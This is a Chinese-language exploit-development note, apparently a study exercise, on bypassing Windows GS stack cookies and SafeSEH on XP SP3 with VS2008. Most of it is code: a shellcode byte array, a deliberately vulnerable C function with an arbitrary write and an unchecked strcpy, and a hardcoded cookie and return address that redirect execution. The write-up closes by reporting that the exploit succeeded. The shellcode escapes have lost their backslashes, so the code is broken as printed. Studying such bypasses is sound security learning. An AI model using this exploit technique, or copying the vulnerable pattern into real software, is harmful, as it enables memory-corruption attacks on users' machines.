首先 如果想直接覆盖 一场回调函数去劫持EXE的话 ,SafeSEH会阻止程序去执行;
SafeSEH的原理很简单,就是对要调用的异常回调函数进行一系列对的有效性校验 需要 操作系统XP SP2 及后续版本 和编译器的双重支持
下面说明GS的突破
但感觉还是有点困难: 1 要么程序写了虚函数 2要么程序主动去修改 COOKIE的值· 3 最好的方法直接覆盖 SEH 典型SEH 溢出即可
···感觉不会再爱了
加了GS后 取的COOKIE:
00401000 55 push ebp 00401001 8BEC mov ebp,esp 00401003 81EC E4000000 sub esp,0xE4 00401009 A1 00304000 mov eax,dword ptr ds:[0x403000] //取.data段数据 下面于 ebp 相xor 得到 cookie 0040100E 33C5 xor eax,ebp 00401010 8945 FC mov dword ptr ss:[ebp-0x4],eax 00401013 817D 0C 9599000>cmp dword ptr ss:[ebp+0xC],0x9995 0040101A 0F8D AA000000 jge vs2005TE.004010CA
开始时将 0x403000 处取出COKIE值,然后与EBP做一次异或放入 EBP-4的位置作为 此函数的Security Cookie
函数返回前的校验就是此过程的逆过程,程序将
1 EBP-4的位置取出值,
2 然后与EBP异或
3 最后于 0x00403000处的COOKIE相比较
/* XP SP3 VS2008 GS保护 禁止优化 */ #include <stdafx.h> #include <windows.h> char shellcode[]= "x90x90x90x90" "xFCx68x6Ax0Ax38x1Ex68x63x89xD1x4Fx68x32x74x91x0C" "x8BxF4x8Dx7ExF4x33xDBxB7x04x2BxE3x66xBBx33x32x53" "x68x75x73x65x72x54x33xD2x64x8Bx5Ax30x8Bx4Bx0Cx8B" "x49x1Cx8Bx09x8Bx69x08xADx3Dx6Ax0Ax38x1Ex75x05x95" "xFFx57xF8x95x60x8Bx45x3Cx8Bx4Cx05x78x03xCDx8Bx59" "x20x03xDDx33xFFx47x8Bx34xBBx03xF5x99x0FxBEx06x3A" "xC4x74x08xC1xCAx07x03xD0x46xEBxF1x3Bx54x24x1Cx75" "xE4x8Bx59x24x03xDDx66x8Bx3Cx7Bx8Bx59x1Cx03xDDx03" "x2CxBBx95x5FxABx57x61x3Dx6Ax0Ax38x1Ex75xA9x33xDB" "x53" "x68x64x61x30x23" "x68x23x50x61x6E" "x8BxC4x53x50x50x53xFFx57xFCx53xFFx57xF8"//168 "x90x90x90x90x90x90x90x90x90x90"//注意这里 尽量将90放在后面 放在前面有问题!!! "x90x90x90x90x90x90x90x90x90x90" "x90x90x90x90x90x90x90x90x90x90" "x90x90" "xf4x6fx82x90" //cookie 90826FF4 倒叙 我是通过 编码直接得到 是单个字节xor "x90x90x90x90" //ebp 原来是 0012ff64 "x94xFEx12x00" //0012FE94 为返回地址 ; void test(char * S,int i,char * src) { char dest[200]; if (i<0x9995) { char * buf = S+i; *buf = *src; *(buf+1) = *(src+1); *(buf+2) = *(src+2); *(buf+3) = *(src+3); strcpy(dest,src); } } int main() { char * str = (char *)malloc(0x10000); test(str,0xFFFF2FB8,shellcode); //.data 0x403000 //malloc 0x410048 相减 D048 //FFFFFFFF - D048 + 1= FFFF2FB8 }
最后成功: